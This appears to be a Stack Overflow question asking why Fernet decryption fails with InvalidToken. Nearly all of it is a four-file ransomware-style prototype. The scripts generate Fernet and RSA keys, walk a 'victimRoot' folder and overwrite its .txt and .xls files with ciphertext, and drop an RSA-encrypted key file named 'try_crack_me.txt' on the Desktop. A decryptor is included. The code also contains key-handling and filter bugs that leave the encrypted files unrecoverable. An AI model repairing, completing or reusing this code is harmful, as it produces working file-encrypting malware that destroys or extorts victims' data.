0

I am trying to solve this decrypting issue. I encrypted an entire folder with a fernet key (this part was working perfectly) but now the decryption is not working. I am using the fernet module in python 3.

it is always printing the same Error: raise InvalidToken cryptography.fernet.InvalidToken

First I thought I needed to add binary so I changed from 'r' to 'rb' but it did not solve the problem.

File 1 - generating fernet and RSA keys

from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA

fernet_key = Fernet.generate_key()

with open('fernetkey.txt', 'wb') as f:
    f.write(fernet_key)    

key = RSA.generate(2048)
 
private_key = key.export_key()
with open('privatekey.pem', 'wb') as f:
    f.write(private_key)

public_key = key.publickey().export_key()
with open('publickey.pem', 'wb') as f:
    f.write(public_key)

File 2 - encrypt the data

from cryptography.fernet import Fernet # to create a symmetric fernet key
from Crypto.PublicKey import RSA #used for encryption/decryption
from Crypto.Cipher import PKCS1_OAEP #used for encryption/decryption
import os # to get system root


class Encryption:

    file_ex = [
        'txt', 'xls'
    ]

    def __init__(self):
        self.sysRoot = os.path.expanduser('~')
        self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot'
    
    def fernetkey(self):
        self.fernet_key = Fernet.generate_key()

        self.crypter = Fernet(self.fernet_key)

        with open('fernetkey.txt', 'rb') as f:
            self.fernet_key = f.read()

    def encrypt_system(self):
        system = os.walk(self.victimRoot, topdown=True)
        for root, dirs, files in system:
            for file in files:
                file_path = os.path.join(root, file)
                if not file.split('.')[-1] in self.file_ex:
                    continue
                self.encrypt_files(file_path)
    
    def encrypt_files(self, file_path):
        with open(file_path, 'rb') as f:
            data = f.read()

        _data = self.crypter.encrypt(data)
        print('Files are encrypted!')

        with open(file_path, 'wb') as fp:
            fp.write(_data)
    
    def encrypt_key(self):
        self.public_key = RSA.import_key(open('publickey.pem').read())

        self.public_crypter = PKCS1_OAEP.new(self.public_key)

        self.fernet_key = Fernet.generate_key()

        with open('fernetkey.txt', 'rb') as f:
            self.fernet_key = f.read()
    
        enc_fernet_key = self.public_crypter.encrypt(self.fernet_key)
        with open(f'{self.sysRoot}/Desktop/try_crack_me.txt', 'wb') as ef:
            ef.write(enc_fernet_key)


def main():
    rw = Encryption()
    rw.fernetkey()
    rw.encrypt_system()
    rw.encrypt_key()
    


if __name__ == '__main__':
    main()

File 3 - decrypt the key

from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

private_key = RSA.import_key(open('privatekey.pem').read())

private_crypter = PKCS1_OAEP.new(private_key)

with open ('try_crack_me.txt', 'rb') as f:
    enc_fernet_key = f.read()

decrypted_fernet_key = private_crypter.decrypt(enc_fernet_key)

print(decrypted_fernet_key)

with open('decrypt_with_me.txt', 'wb') as df:
    df.write(decrypted_fernet_key)

File 4 - decrypt the data (this is where the issue pops up)

from cryptography.fernet import Fernet # to create a symmetric fernet key
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import os 

class Decryption:

    file_ex = [
        'txt', 'xls'
    ]

    def __init__(self):
        self.sysRoot = os.path.expanduser('~')
        self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot'

    def decrypt(self):
        print('Trying to decrypt - looking for decrypt_with_me.txt')

        with open('decrypt_with_me.txt', 'rb') as f:
            self.fernet_key = f.read()

    def encrypt_system(self):
        system = os.walk(self.victimRoot, topdown=True)
        for root, dirs, files in system:
            for file in files:
                file_path = os.path.join(root, file)
                if not file.split('.')[-1] in self.file_ex:
                    self.encrypt_files(file_path)
    
    def encrypt_files(self, file_path):
        with open(file_path, 'rb') as f:
            encrypted_data = f.read()
    
        self.crypter = Fernet(self.fernet_key)

        new_data = self.crypter.decrypt(encrypted_data)
        with open(file_path, 'wb') as f:
            f.write(new_data) 
        print('Files are now decrypted.')


def main():
    rw = Decryption()
    rw.decrypt()
    rw.encrypt_system()

if __name__ == '__main__':
    main()
  • check here : https://stackoverflow.com/questions/49754702/error-cryptography-fernet-invalidtoken-in-simple-password-program and here : https://cryptography.io/en/latest/fernet/ – Benyamin Sep 02 '21 at 18:25
  • *...I encrypted an entire folder with a fernet key (this part was working perfectly)...* How do you know it was 'working perfectly'? Being able to decrypt what you encrypt is certainly part of the evidence that encryption is working perfectly, and that isn't happening. You should probably include the encryption code as well in your question. – President James K. Polk Sep 02 '21 at 19:07
  • I have included the encryption file now as well. I can't find my mistake though. – Veronika Jalen Sep 07 '21 at 19:04

0 Answers0